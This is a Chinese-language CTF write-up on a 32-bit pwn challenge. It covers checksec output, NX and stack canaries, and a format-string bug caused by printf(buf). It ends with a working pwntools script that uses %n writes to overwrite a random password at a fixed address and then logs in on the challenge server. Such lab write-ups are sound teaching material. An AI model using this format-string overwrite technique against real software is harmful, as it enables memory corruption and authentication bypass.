学到一个新的做法,在每次分析前,先使用checksec
来检查程序是否有特定的保护
这里我们可以看到程序开启了NX和Canary保护:
- NX保护,实际上就是将数据段,设为仅对代码段可见,操作者无法对数据段中的内容进行修改,也不能被执行
- Canary保护,会在栈帧中(一般是返回地址之前)插入一个检查值,从而验证,栈帧是否被使用栈溢出攻击,如果是,则终止运行
我们需要根据checksec
给出的信息,来制定一个新的攻击策略,我们将目光放到源程序上面:
我们注意到两条指令read(0, buf, 0x63u);
和printf(buf);
,这意味着printf的参数是被我们写入缓冲区的内容所决定的。因此我们可以对它使用格式化字符串漏洞攻击
关于格式化字符串漏洞,网上有很多讲的很清楚的。所以在此我就简单说明记录一下:
我们知道printf函数是一个不定参数的函数,正常的使用,需要一个格式化字符对应相应的变量。但是在实际应用中,我们也可以不这么做,不妨试试 printf("%p %p %p");
即使我们不传入参数,也会打印出其他的内容。这是因为printf在接受格式化字符之后,会向下读取。但是会得到一些相关的内容,通过这种方式,可以实现对其的攻击
+-------------------+
| 返回地址 (main) |
+-------------------+
| 旧栈帧指针 (ebp) |
+-------------------+
| 局部变量 (input) | <- 存储 "%x %x %x %x"
+-------------------+
| 格式化字符串参数 | <- printf 的第一个参数(指向 input)
+-------------------+
| 栈中的数据1 | <- 被 %x 读取
| 栈中的数据2 | <- 被 %x 读取
| 栈中的数据3 | <- 被 %x 读取
| 栈中的数据4 | <- 被 %x 读取
+-------------------+
而在这里我们有一个格式化字符串参数%n
,他的作用是读取前面字符的数量,并写入给定的地址。利用这一点我们可以用它来实现我们的格式化字符串漏洞攻击
+-------------------+
| 返回地址 (main) |
+-------------------+
| 旧栈帧指针 (ebp) |
+-------------------+
| 局部变量 (input) | <- 存储 "\x78\x56\x34\x12%n"
+-------------------+
| 格式化字符串参数 | <- printf 的第一个参数(指向 input)
+-------------------+
| 栈中的数据1 | <- 被 %n 写入
+-------------------+
而这道题中,我们知道随机生成的密码被存放在&dword_804C044
中的四个字节中,不过我们无法得到里面的内容,但是我们可以利用格式化字符串漏洞攻击,从而将里面的内容改写
首先我们呢需要清楚我们输入的字符在栈中的位置,因此我们传入一个"AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p"
来看一看回显
我们注意到0x41414141
是我们传入的数据,也就是说我们传入的数据在栈上的第十个,也就是说如果我们目标地址的偏移地址是10。也就是说,我们要调用的目标地址在,10,11,12,13上面
我们可以利用"%数字$n"
的方法来实现偏移定位
现在我们可以写出自己的payload,来实现对其的覆盖,现在随机密码被我们覆盖为了四个16
,也就是说此时密码为0x10101010
from pwn import *
p = remote("node5.buuoj.cn",29404)
payload = p32(0x804C044)+p32(0x804C045)+p32(0x804C046)+p32(0x804C047)
payload += "%10$n%11$n%12$n%13$n"
p.sendline(payload)
psw = str(0x10101010)
p.sendline(psw)
p.interactive()